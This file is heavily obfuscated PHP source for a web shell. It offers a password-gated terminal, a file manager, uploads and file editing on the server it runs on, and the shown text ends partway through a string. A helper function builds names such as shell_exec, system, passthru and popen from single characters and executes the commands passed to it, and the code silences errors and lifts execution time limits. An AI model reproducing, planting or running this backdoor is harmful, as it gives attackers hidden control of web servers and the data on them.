O144858403667587: goto O619372642402679; goto O970163704751435; O069317016302126: $_SESSION["\x63\x75\162\x72\145\156\164\104\x69\x72\x65\x63\x74\x6f\162\171"] = $O098769130243281; goto O061445577794250; O707325632475027: @file_put_contents($_SESSION["\x66\x6d\x44\x69\162\145\x63\164\157\x72\171"]."\x2f".$O051933048923284, ''); goto O229493648790792; O986482555781461: echo O905604811681373(); goto O076596180017972; O383638556220057: echo o780999200951570($O133120562311633); goto O757801578491887; O649053296981682: echo "\x3c\57\x64\151\166\x3e\xd\xa\x20\x20\40\x20\x20\x20\x20\x20\x3c\x64\151\x76\76\123\131\x53\x54\x45\115\x20\x20\40\x20\40\x20\x3a\x20"; goto O467198467006991; O358946510099885: goto O675216537508714; goto O696274307325915; O702825915516255: @error_reporting(0); goto O296594270706592; O508790733447424: $O900985451946822 = file_put_contents($O242247846642569, O638526641521669($_POST["\143\157\x6e\164\145\156\164"])); goto O214846199114941; O000126686189333: die; goto O741798062335316; O676281584239985: http_response_code(200); goto O000126686189333; O454968504761219: $O911780980490314 = "\61\x2e\x31"; goto O433070760127619; O634046418513444: die; goto O684263692160210; O166084967662968: goto O297578233449045; goto O200820781694018; O209477935506473: echo "\x3c\x2f\144\x69\166\x3e\xd\xa\40\x20\x20\x20\74\x2f\x64\x69\166\76\xd\xa\xd\12\x20\x20\40\x20\74\x64\x69\166\x20\x63\x6c\141\x73\163\x3d\x22\x62\157\162\144\145\162\145\144\x2d\142\x6c\157\x63\x6b\40\x6d\145\156\x75\x22\x20\x3e\xd\xa\x20\x20\x20\40\x20\40\40\x20\74\142\165\164\164\x6f\156\40\x74\171\x70\x65\x3d\42\142\165\x74\x74\x6f\x6e\x22\40\x63\x6c\141\x73\x73\x3d\x22\x6c\151\x6e\x6b\40\141\x63\164\151\x76\x65\x22\x20\x6f\x6e\143\154\151\143\x6b\x3d\42\164\157\147\147\x6c\x65\124\141\142\50\x30\x29\42\x3e\x54\145\162\x6d\x69\156\x61\x6c\x3c\57\x62\165\x74\x74\x6f\x6e\76\15\12\40\x20\x20\40\40\x20\40\40\x3c\142\165\164\x74\x6f\156\40\164\171\x70\145\75\x22\142\165\x74\x74\157\x6e\42\40\143\x6c\141\163\x73\x3d\42\x6c\151\x6e\153\x22\x20\157\156\x63\154\x69\143\x6b\75\x22\x74\x6f\147\147\154\145\x54\x61\142\x28\x31\51\x22\76\x46\151\154\145\40\x4d\141\156\x61\147\145\162\74\x2f\142\165\164\x74\x6f\156\x3e\xd\xa\x20\40\40\40\40\40\40\x20\74\142\165\164\164\157\156\x20\164\171\160\x65\x3d\x22\142\x75\164\x74\157\156\42\40\x63\154\141\x73\x73\x3d\42\154\x69\156\153\x22\x20\x6f\x6e\x63\154\151\x63\x6b\x3d\x22\164\157\147\x67\x6c\145\x54\x61\142\50\62\x29\42\76\x49\156\x66\x6f\74\57\142\165\164\164\x6f\156\76\15\xa\40\40\x20\40\x20\x20\x20\x20\x3c\142\x75\x74\164\x6f\156\40\164\171\160\145\75\42\x62\x75\164\164\157\156\x22\x20\163\164\x79\x6c\145\x3d\x22\x64\x69\x73\x70\154\x61\171\x3a\40"; goto O224651131169102; O542978688866867: echo "\x29\x3c\x2f\144\151\x76\x3e\15\xa\40\x20\x20\40\x20\x20\x20\x20\x3c\x64\151\x76\x3e\123\101\106\105\40\x4d\x4f\104\x45\x20\x20\x20\x3a\40"; goto O924556442611719; O433070760127619: $O075504229385412 = md5("\x70\135\x47\x4a\100\46\x7e\164\x59\142\122\143\55\x3b\x56\132\x33\110\x41\75\153\45"); goto O036161061365307; O761791399458035: $_SESSION["\x63\165\162\x72\145\156\x74\104\x69\162\x65\143\x74\x6f\162\171"] = O501518105005324(); goto O346468796548056; O800164154051465: die; goto O985557705363760; O710116777090250: @ini_set("\155\141\x78\x5f\145\x78\x65\143\165\164\x69\157\x6e\137\164\x69\155\145", 0); goto O136944312870227; O136944312870227: @ini_set("\x6f\165\164\160\x75\164\137\x62\165\x66\146\x65\162\x69\x6e\x67", 0); goto O691183911186852; O347987534611379: echo "\74\57\x64\151\166\x3e\15\xa\40\40\40\x20\40\x20\x20\40\x3c\x64\x69\x76\x3e\120\110\120\x20\x56\x45\x52\x53\x49\x4f\116\40\x3a\x20"; goto O307102451497013; O522349504105599: O281729583081178: goto O877664608912382; O289050020316610: echo "\50"; goto O759708205073031; O324452031022926: if (!isset($_GET["\x6c\x6f\x67\157\x75\164"])) {
goto O507763631812022;
} goto O040929328949098; O985557705363760: goto O619372642402679; goto O777922622481211; O605463022297883: O970879324369578: goto O961838289620898; O095753643066970: if (isset($O837213299817540)) {
goto O519663624870664;
} goto O829503902144383; O318250189107036: if (!move_uploaded_file($_FILES["\x66\x69\x6c\x65"]["\164\155\x70\x5f\156\141\x6d\x65"], $O149839801370413)) {
goto O050949301784939;
} goto O482432525192530; O619079922299664: $O661345000717652 = $_SESSION["\x66\x6d\104\151\x72\145\x63\x74\157\x72\171"]."\x2f".$O661345000717652; goto O336257775033761; O053172286737580: echo O304804334888247($O013532564588412); goto O263346075947795; O675873034429257: echo $_SESSION["\146\155\104\x69\162\145\x63\x74\x6f\162\x79"]; goto O323834028012399; O232799720187286: echo O905604811681373(); goto O083050321032146; O071770641748554: O396452838222479: goto O477841822823420; O890216727359707: die; goto O760582427057254; O596556901678039: echo "\40\40\x20\x20\x3c\x64\151\x76\x20\x73\164\171\x6c\x65\x3d\42\144\151\x73\x70\x6c\x61\171\x3a\x20\142\154\x6f\x63\153\x3b\x20\x6a\165\x73\x74\x69\x66\x79\x2d\143\157\156\164\145\x6e\x74\72\40\x63\145\x6e\x74\x65\x72\73\40\x74\x65\x78\x74\55\x61\x6c\x69\147\156\x3a\x20\x63\145\x6e\x74\145\162\73\x20\x63\157\x6c\157\162\72\40\43\x66\x66\x66\73\42\x3e\15\12\x20\40\40\x20\x20\40\40\40\x3c\144\x69\x76\76\x49\x70\40\x20\40\40\x20\x20\40\40\x20\x20\x3a\x20"; goto O508184895920916; O396073088894091: echo "\47\51\42\40\164\x79\x70\x65\75\42\142\x75\x74\x74\157\156\42\x3e\x53\150\145\154\154\x20\150\157\x6d\x65\x3c\57\142\x75\x74\164\x6f\156\76\xd\12\xd\12\40\x20\40\x20\x20\40\x20\40\74\x2f\x64\151\166\76\xd\xa\x20\40\x20\40\x20\x20\40\40\74\x64\x69\166\40\143\154\141\163\163\x3d\42\143\157\156\164\141\x69\156\145\162\x22\x3e\15\xa\15\12\40\x20\40\x20\40\40\40\40\40\x20\40\40\74\142\165\x74\164\x6f\x6e\x20\157\156\x63\x6c\x69\x63\x6b\x3d\42\x63\x72\x64\x28\51\x22\40\x74\171\160\x65\x3d\42\x62\165\x74\x74\157\x6e\x22\76\103\162\x65\x61\x74\145\40\144\151\x72\x3c\57\142\x75\164\164\157\156\x3e\xd\xa\40\40\40\x20\40\40\40\x20\40\x20\x20\40\74\142\x75\164\x74\x6f\156\x20\x6f\156\143\x6c\151\143\153\75\x22\143\x72\x66\50\51\x22\40\164\171\160\x65\x3d\x22\x62\165\x74\x74\157\x6e\42\x3e\103\162\145\x61\x74\x65\x20\x66\x69\154\145\74\57\x62\165\x74\164\x6f\156\x3e\15\12\40\x20\x20\40\40\40\40\40\40\40\40\x20\x3c\x62\x75\x74\x74\x6f\x6e\x20\x6f\x6e\x63\x6c\x69\143\x6b\75\42\x64\x6f\143\165\x6d\145\156\164\56\147\145\164\x45\154\x65\x6d\x65\x6e\164\102\x79\x49\144\x28\x27\146\x69\x6c\145\x49\x6e\160\165\164\x27\x29\x2e\x63\154\151\x63\153\50\51\42\x3e\125\160\154\157\x61\144\74\57\x62\165\164\x74\x6f\x6e\76\xd\xa\40\x20\40\40\40\40\40\x20\40\x20\40\40\74\x69\x6e\x70\x75\164\x20\x74\171\160\x65\75\x22\x66\151\x6c\x65\42\x20\151\144\75\x22\146\x69\154\145\x49\156\160\165\164\x22\40\x73\x74\x79\154\x65\x3d\42\x64\151\x73\x70\x6c\141\x79\72\40\156\x6f\x6e\145\x3b\x22\x20\157\x6e\143\x68\x61\x6e\147\x65\x3d\x22\165\x70\x28\x74\x68\151\x73\56\x66\151\154\x65\x73\x5b\60\x5d\x29\42\x3e\15\xa\xd\xa\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\74\x74\x61\142\x6c\x65\x20\x73\x74\171\x6c\x65\x3d\42\167\151\x64\x74\150\x3a\x20\x31\60\60\45\42\76\xd\12\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\40\74\164\150\x65\141\x64\x3e\15\12\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x3c\164\162\76\xd\12\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x20\74\x74\150\76\x4e\141\155\145\74\57\x74\150\76\15\xa\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\40\x20\40\40\40\x20\40\x20\x3c\164\150\x3e\123\x69\x7a\x65\74\57\x74\150\76\xd\xa\40\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\74\164\150\x3e\x4c\x61\163\164\40\x4d\157\144\151\146\151\145\x64\x3c\57\x74\x68\76\xd\xa\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x3c\x74\150\x3e\x4f\167\x6e\145\162\57\x47\x72\157\x75\160\74\57\x74\150\x3e\15\12\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\x3c\164\150\x3e\x50\x65\x72\x6d\151\x73\163\x69\157\x6e\x3c\x2f\x74\150\x3e\xd\xa\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\40\x20\74\x74\150\x3e\x41\143\x74\151\x6f\156\74\57\164\x68\76\xd\xa\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\x3c\x2f\x74\162\76\xd\xa\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\74\57\x74\150\x65\x61\144\x3e\xd\12\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\74\164\142\157\x64\171\x20\151\144\x3d\42\146\155\42\76\xd\xa\40\x20\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\40"; goto O507712957583178; O664223211933071: O057879632008440: goto O814081434425585; O555805318854283: $O098769130243281 = isset($O938090733250791[1]) ? @O031684522675576($_SESSION["\x63\165\162\x72\x65\156\164\104\x69\x72\145\x63\164\157\162\171"], $O938090733250791[1]) : o501518105005324(); goto O069317016302126; O235268258665985: goto O619372642402679; goto O539631312342265; O814081434425585: $O128636913820626 = @explode("\57", $_SESSION["\x66\x6d\x44\x69\x72\x65\143\x74\157\x72\171"]); goto O018396859418419; O961838289620898: $O125675124828290 = $_POST["\x6e\145\x77"]; goto O921271008536546; O589660991895800: O819059339238447: goto O714889771437684; O419744505660881: $O730252784401428["\157\165\164\x70\165\164"] = $O089902844849031; goto O739848707979071; O714889771437684: $O149839801370413 = $_SESSION["\146\155\104\151\x72\x65\x63\x74\x6f\x72\171"]."\x2f".basename($_FILES["\146\151\x6c\x65"]["\156\141\x6d\145"]); goto O318250189107036; O105361672959092: $O661345000717652 = $_POST["\162\145\x6d\157\x76\x65"]; goto O347189582335326; O691183911186852: @ini_set("\x64\x69\163\160\154\141\171\x5f\x65\162\x72\x6f\162\x73", 0); goto O454968504761219; O970163704751435: O519663624870664: goto O374752448418596; O076596180017972: die; goto O235268258665985; O678873946475361: $O051933048923284 = $_POST["\x63\162\x65\141\x74\145\137\146\151\x6c\145"]; goto O105361672959092; O644804003498959: function O363302479115642($O837213299817540)
{
goto O931558481736358;
O907273471765157: $O652118403905045 .= "\x65";
goto O422431914625094;
O293091611298496: $O652118403905045 .= "\x61";
goto O563299776342890;
O867441222392312: $O652118403905045 .= "\170";
goto O709018495627652;
O500323663460035: $O652118403905045 .= "\x79";
goto O954398699050940;
O445305346308917: $O652118403905045 .= "\145";
goto O075139694246583;
O059070782769045: if (!function_exists($O652118403905045)) {
goto O907504755109274;
}
goto O325735836412262;
O563865328986725: @ob_end_clean();
goto O910890409858433;
O188757426069427: $O652118403905045 .= "\x75";
goto O868327134336305;
O555291953090589: $O652118403905045 .= "\x65";
goto O689913608519852;
O536114268338113: O467977624306218: goto O690132087653584;
O763440474841253: $O652118403905045 = "\x65";
goto O867441222392312;
O542222557376869: O907504755109274: goto O515170252735107;
O515170252735107: $O652118403905045 = "\163";
goto O500323663460035;
O954398699050940: $O652118403905045 .= "\163";
goto O221747244965965;
O321647245925930: $O652118403905045 .= "\164";
goto O144660145797708;
O744657610752087: @$O652118403905045($O837213299817540, $O903937526979300);
goto O621655115185846;
O179373209452587: $O652118403905045 .= "\143";
goto O954418785454551;
O868327134336305: if (!function_exists($O652118403905045)) {
goto O566199118542184;
}
goto O185921840935055;
O185921840935055: @ob_start();
goto O914347369035230;
O690132087653584: $O652118403905045 = "\x70";
goto O293091611298496;
O838066068464925: $O652118403905045 .= "\170";
goto O907273471765157;
O914347369035230: @$O652118403905045($O837213299817540);
goto O908637470177472;
O653060343837111: @ob_start();
goto O691026438549821;
O144660145797708: $O652118403905045 .= "\x68";
goto O450668859238781;
O908637470177472: $O526946557678862 = @ob_get_contents();
goto O563865328986725;
O689913608519852: $O652118403905045 .= "\x6d";
goto O266256039130673;
O260715537789872: O062620704468403: goto O763440474841253;
O677310115012778: $O652118403905045 .= "\x73";
goto O321647245925930;
O621655115185846: return implode('', $O903937526979300);
goto O536114268338113;
O266569586578004: $O791331770667186 = @ob_get_contents();
goto O020987355353776;
O020987355353776: @ob_end_clean();
goto O077265131168580;
O075139694246583: $O652118403905045 .= "\154";
goto O758741185540783;
O450668859238781: $O652118403905045 .= "\162";
goto O188757426069427;
O954418785454551: if (!function_exists($O652118403905045)) {
goto O467977624306218;
}
goto O869250710302380;
O869250710302380: $O903937526979300 = array();
goto O744657610752087;
O325735836412262: return @$O652118403905045($O837213299817540);
goto O542222557376869;
O563299776342890: $O652118403905045 .= "\x73";
goto O677310115012778;
O581243845131457: $O652118403905045 .= "\150";
goto O445305346308917;
O091003957325127: $O652118403905045 .= "\137";
goto O018420526513992;
O422431914625094: $O652118403905045 .= "\x63";
goto O059070782769045;
O266256039130673: if (!function_exists($O652118403905045)) {
goto O062620704468403;
}
goto O653060343837111;
O691026438549821: @$O652118403905045($O837213299817540);
goto O266569586578004;
O221747244965965: $O652118403905045 .= "\x74";
goto O555291953090589;
O077265131168580: return $O791331770667186;
goto O260715537789872;
O709018495627652: $O652118403905045 .= "\145";
goto O179373209452587;
O837023183273137: O566199118542184: goto O269168625574831;
O910890409858433: return $O526946557678862;
goto O837023183273137;
O931558481736358: $O652118403905045 = "\x73";
goto O581243845131457;
O018420526513992: $O652118403905045 .= "\x65";
goto O838066068464925;
O758741185540783: $O652118403905045 .= "\154";
goto O091003957325127;
O269168625574831:
} goto O688814201988267; O539631312342265: O382223149082423: goto O383638556220057; O712799127289348: if ($_POST["\x75\x6e\154\x6f\x63\x6b"]) {
goto O429130159681403;
} goto O144858403667587; O961799327615937: if ($_SESSION["\154\x6f\x67\x67\x65\x64"] === true) {
goto O490549161625156;
} goto O911044127391366; O964245503526223: O480745911007735: goto O326564904673939; O018396859418419: @array_pop($O128636913820626); goto O979959958475500; O374752448418596: $O998744034587119 = isset($_SESSION["\x63\x75\x72\x72\x65\156\x74\x44\x69\162\x65\x63\x74\x6f\x72\x79"]) ? $_SESSION["\x63\x75\162\162\x65\x6e\x74\104\x69\162\145\143\x74\x6f\x72\x79"] : o501518105005324(); goto O622488211135459; O848461136264814: echo "\x3c\57\164\151\x74\x6c\x65\76\15\xa\x20\40\40\40\74\163\164\171\154\x65\x3e\xd\xa\x20\x20\40\40\x20\x20\x20\40\x62\157\144\171\40\173\15\xa\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\142\141\x63\x6b\x67\x72\x6f\165\x6e\144\55\143\157\x6c\157\162\72\x20\43\61\x32\61\x32\x31\62\73\15\12\40\x20\x20\x20\40\x20\x20\x20\175\xd\12\x20\40\x20\40\40\x20\x20\40\x2e\x6c\x69\x6e\153\x20\173\xd\12\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\142\141\x63\153\147\162\x6f\x75\156\144\72\40\x6e\x6f\x6e\145\73\xd\12\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\x62\157\x72\x64\145\162\x3a\x20\x6e\157\x6e\x65\x3b\xd\xa\x20\40\x20\40\40\40\40\40\x20\40\x20\40\x70\x61\144\144\x69\x6e\x67\x3a\x20\60\x3b\15\xa\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x66\157\x6e\164\x3a\40\x69\x6e\x68\145\x72\151\164\73\xd\xa\40\40\x20\40\40\x20\40\40\x20\40\40\x20\143\x75\x72\163\x6f\x72\x3a\x20\160\x6f\151\x6e\164\x65\x72\x3b\xd\xa\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x64\151\x73\x70\x6c\x61\x79\72\x20\151\156\154\x69\x6e\x65\x2d\x62\x6c\x6f\x63\153\x3b\xd\xa\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x6d\x61\x72\x67\151\x6e\72\x20\x30\40\x32\x30\x70\170\x3b\15\12\40\40\x20\x20\x20\40\40\40\40\x20\40\x20\143\157\154\x6f\162\72\x20\43\x39\71\71\x3b\xd\xa\40\40\40\40\40\x20\x20\40\x20\40\x20\40\164\145\170\x74\55\x64\145\x63\157\162\141\164\151\157\156\72\40\x6e\157\156\x65\73\15\xa\40\x20\40\40\x20\x20\x20\x20\175\xd\12\xd\xa\40\x20\40\40\40\40\40\40\56\154\151\156\153\56\141\x63\164\x69\x76\x65\40\x7b\15\xa\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\143\x6f\154\x6f\162\x3a\40\43\x33\x34\64\71\65\x65\73\xd\xa\40\x20\40\40\x20\x20\x20\40\175\xd\12\x20\x20\x20\40\x20\40\40\x20\151\156\160\165\x74\x5b\164\171\160\x65\75\42\160\141\163\163\167\x6f\x72\144\42\135\x20\173\15\xa\40\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x70\x61\144\144\x69\156\147\72\40\61\x30\x70\x78\73\xd\12\x20\x20\40\x20\x20\40\40\40\40\40\40\40\142\x6f\162\x64\x65\162\x3a\40\x32\160\x78\x20\x73\157\x6c\x69\144\x20\43\x63\x63\143\x3b\xd\12\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\142\x6f\162\144\145\162\55\x72\141\144\x69\x75\x73\x3a\x20\x35\x70\170\73\15\12\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\146\x6f\x6e\x74\55\x73\x69\172\145\x3a\40\61\66\160\x78\73\xd\xa\x20\x20\40\x20\x20\40\40\x20\x7d\xd\xa\xd\xa\40\x20\40\40\40\x20\40\x20\151\156\x70\x75\164\x5b\x74\171\160\145\x3d\42\160\x61\163\163\x77\157\162\x64\42\x5d\x3a\x66\157\143\x75\x73\x20\173\xd\xa\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\157\165\164\x6c\x69\156\145\x3a\40\156\157\x6e\145\73\15\xa\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\40\142\157\x72\x64\145\x72\x2d\143\157\x6c\x6f\x72\72\x20\x23\x35\x61\x35\x66\x36\62\73\15\xa\x20\40\x20\x20\40\40\x20\40\40\40\x20\40\x62\x6f\x78\55\x73\x68\141\144\157\167\72\x20\60\40\60\40\x35\160\170\40\162\147\142\x28\x39\x30\54\x20\x39\65\x2c\x20\71\70\51\x3b\15\12\40\40\40\40\40\40\40\x20\x7d\xd\xa\x20\x20\x20\x20\40\x20\x20\40\164\142\157\144\x79\x20\164\x72\72\x68\157\166\x65\162\x7b\xd\xa\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\142\141\143\x6b\x67\162\157\x75\x6e\144\x2d\143\157\154\x6f\x72\72\x20\43\70\62\70\66\x38\141\73\15\xa\40\40\40\x20\x20\40\40\40\x7d\15\xa\x20\40\x20\40\x20\40\40\x20\56\142\157\x72\x64\x65\162\145\144\x2d\142\154\157\x63\153\x20\x7b\15\xa\40\x20\40\40\x20\40\x20\40\40\x20\x20\40\x62\157\x72\144\145\162\x3a\x20\62\x70\170\x20\163\157\154\151\x64\x20\x62\154\x61\x63\153\x3b\15\xa\40\40\x20\x20\x20\40\40\x20\40\40\40\40\160\x61\144\144\151\x6e\x67\72\40\61\x30\x70\170\73\15\xa\x20\x20\40\x20\40\x20\40\40\x7d\xd\xa\40\40\40\x20\40\40\40\x20\56\164\x61\x62\x2d\x63\x6f\x6e\164\145\x6e\164\x20\x7b\xd\12\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\144\x69\163\160\154\x61\171\72\40\x6e\157\156\145\73\15\12\40\40\40\x20\x20\40\x20\x20\x7d\xd\12\15\12\40\40\40\40\x20\40\x20\x20\56\x74\x61\142\55\x63\157\x6e\164\145\156\164\56\141\143\x74\x69\x76\145\x20\173\15\12\40\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\144\x69\x73\x70\x6c\141\x79\72\40\x62\x6c\x6f\143\153\73\15\xa\x20\x20\x20\40\x20\x20\x20\40\175\15\xa\40\40\40\40\40\40\x20\40\x70\x2c\43\143\x6d\x64\x5f\x64\x69\162\x2c\141\173\x63\x6f\154\157\162\72\x20\x23\146\x66\146\73\175\xd\xa\40\40\x20\40\x20\x20\x20\40\164\x64\x3e\x61\x7b\143\x6f\154\157\x72\x3a\x23\60\60\60\175\xd\xa\40\40\40\40\x20\x20\40\x20\56\143\x6f\156\164\141\151\x6e\x65\x72\40\173\xd\12\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\167\151\144\x74\x68\x3a\40\x38\60\45\x3b\15\xa\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\x6d\x61\x72\x67\151\x6e\72\40\60\40\141\165\164\157\73\xd\xa\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x70\141\x64\x64\x69\x6e\147\x3a\40\62\x30\x70\x78\73\xd\xa\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\142\141\143\x6b\x67\162\157\165\x6e\x64\x2d\x63\157\154\x6f\162\72\x20\43\144\x35\144\64\x64\64\73\xd\12\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x63\157\x6c\157\162\x3a\x20\x23\62\146\62\x61\62\141\x3b\15\12\x20\40\40\x20\40\x20\x20\40\40\x20\40\40\x66\157\x6e\x74\x2d\146\141\155\151\x6c\171\x3a\x20\155\x6f\156\157\163\160\x61\143\x65\73\15\xa\x20\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x62\157\162\x64\x65\162\55\162\x61\144\151\x75\163\x3a\x20\65\x70\170\73\15\xa\40\x20\x20\40\x20\40\x20\x20\175\15\12\15\12\x20\40\40\40\x20\40\x20\40\x23\x6f\165\164\x70\x75\164\x20\x7b\xd\12\x20\40\40\40\x20\40\40\40\x20\40\x20\40\150\x65\151\x67\x68\x74\x3a\40\x35\60\x76\150\x3b\xd\12\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\157\x76\x65\162\146\154\157\x77\x2d\x79\72\40\141\165\x74\157\x3b\15\12\40\x20\40\x20\40\40\x20\40\40\x20\40\40\155\x61\x72\x67\x69\x6e\55\142\157\x74\x74\x6f\155\72\40\61\60\160\x78\73\15\12\40\40\40\x20\40\40\40\40\x20\40\x20\x20\160\141\144\144\151\x6e\x67\x3a\x20\x31\x30\x70\170\73\xd\12\40\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\x62\157\x72\144\x65\x72\72\x20\x31\160\170\40\163\x6f\154\x69\x64\x20\x23\64\64\64\73\xd\xa\x20\x20\40\x20\40\40\x20\40\x7d\15\12\xd\xa\x20\40\40\40\x20\x20\x20\40\x69\x6e\160\165\x74\x5b\164\171\x70\145\x3d\42\x74\145\170\x74\42\x5d\x20\x7b\xd\xa\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\167\x69\144\x74\150\x3a\x20\61\60\60\45\x3b\xd\12\40\40\40\40\40\40\40\40\40\x20\x20\40\160\141\x64\144\151\156\x67\x3a\40\61\x30\x70\170\x3b\15\12\40\40\x20\40\x20\40\40\x20\40\x20\40\40\x62\x6f\x72\144\x65\x72\x3a\40\x6e\157\x6e\x65\73\xd\xa\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\142\x61\x63\153\x67\x72\157\x75\x6e\x64\55\x63\x6f\154\x6f\162\x3a\x20\x74\162\141\x6e\x73\x70\x61\162\x65\156\164\73\15\12\40\40\40\40\40\x20\40\40\40\40\x20\x20\143\x6f\154\157\x72\72\40\43\x32\x66\62\x61\x32\x61\x3b\xd\xa\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\146\x6f\x6e\x74\x2d\x66\141\x6d\151\154\x79\x3a\x20\155\157\x6e\157\x73\x70\141\x63\x65\x3b\xd\xa\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\142\x6f\x72\x64\145\162\55\164\x6f\160\x3a\x20\x31\160\170\x20\163\x6f\x6c\x69\144\40\43\64\64\64\73\xd\12\40\40\x20\40\x20\x20\x20\40\40\40\40\40\x6f\x75\164\154\151\x6e\x65\x3a\40\x6e\x6f\x6e\x65\73\15\12\x20\40\40\x20\40\40\40\40\175\15\12\x20\40\40\40\x20\x20\x20\x20\x2e\155\x65\156\x75\40\173\xd\xa\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\144\151\x73\x70\x6c\x61\171\72\40\x66\154\x65\x78\x3b\xd\xa\x20\x20\40\40\x20\x20\40\40\40\40\40\40\x6a\165\x73\x74\151\x66\171\x2d\143\x6f\156\x74\x65\x6e\164\x3a\x20\x63\145\156\164\145\x72\73\15\xa\40\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x6d\141\162\x67\151\156\x2d\142\157\x74\x74\157\x6d\x3a\x20\x32\60\x70\170\73\xd\xa\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\160\x61\x64\x64\151\x6e\x67\x2d\x62\x6f\x74\164\x6f\155\x3a\40\61\x30\160\170\73\xd\xa\40\x20\40\40\x20\40\40\x20\175\15\12\x20\x20\40\x20\x20\x20\40\40\56\155\157\144\141\x6c\40\x7b\15\xa\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\160\x6f\x73\151\x74\x69\157\x6e\x3a\x20\146\151\x78\x65\x64\73\15\xa\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\172\x2d\151\x6e\x64\x65\170\x3a\40\61\x3b\xd\xa\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\154\145\x66\164\72\x20\x30\x3b\xd\xa\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x74\157\x70\x3a\40\60\x3b\15\xa\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\167\151\144\x74\x68\x3a\40\x31\60\x30\x25\73\15\xa\40\x20\x20\40\40\40\x20\40\40\40\40\40\x68\x65\x69\147\x68\x74\72\40\61\60\x30\45\73\xd\xa\40\40\x20\40\40\x20\x20\40\40\40\40\40\x6f\166\x65\162\x66\154\157\167\72\40\x61\165\164\157\73\15\xa\x20\40\40\40\x20\x20\x20\x20\40\40\x20\40\142\x61\143\153\147\x72\157\x75\156\144\x2d\x63\157\154\157\x72\x3a\x20\162\x67\142\141\50\x30\54\x30\x2c\x30\54\60\56\64\x29\x3b\15\xa\40\x20\x20\x20\x20\40\x20\x20\x7d\xd\xa\15\xa\40\x20\x20\x20\40\x20\x20\40\x2e\155\x6f\144\141\154\55\x63\157\156\164\x65\156\164\40\173\15\xa\x20\40\40\40\40\x20\40\40\40\40\40\40\x62\x61\x63\x6b\x67\162\157\165\x6e\144\x2d\x63\157\154\157\162\x3a\40\x23\x66\x65\146\x65\x66\145\73\xd\xa\40\x20\x20\x20\40\x20\x20\40\40\x20\40\40\155\141\162\x67\151\156\x3a\x20\65\x25\x20\141\x75\164\157\73\xd\xa\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\160\x61\x64\x64\151\156\147\x3a\40\62\x30\x70\170\73\15\12\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\40\142\157\x72\144\145\162\72\40\x31\x70\x78\x20\x73\x6f\154\151\x64\40\43\70\70\x38\73\15\xa\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x77\x69\144\x74\x68\72\x20\x38\60\45\73\xd\xa\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\155\151\x6e\x2d\x68\x65\x69\147\x68\164\x3a\x20\x37\60\45\x3b\xd\xa\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\x62\157\170\x2d\x73\x69\172\151\x6e\x67\x3a\x20\142\157\x72\x64\x65\x72\55\x62\157\170\x3b\xd\12\40\40\40\x20\x20\40\x20\40\x7d\15\12\xd\xa\x20\x20\40\x20\40\40\40\x20\x2e\x63\x6c\x6f\163\x65\40\x7b\xd\xa\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\143\157\x6c\157\x72\72\40\43\x61\141\x61\73\xd\12\x20\x20\40\40\x20\x20\40\40\40\40\x20\x20\146\154\157\x61\x74\x3a\40\162\x69\147\150\164\x3b\15\12\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x66\157\156\x74\55\x73\151\x7a\x65\72\40\x32\70\160\x78\73\xd\12\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\146\x6f\156\164\x2d\x77\x65\151\x67\150\164\72\x20\142\157\154\x64\x3b\xd\x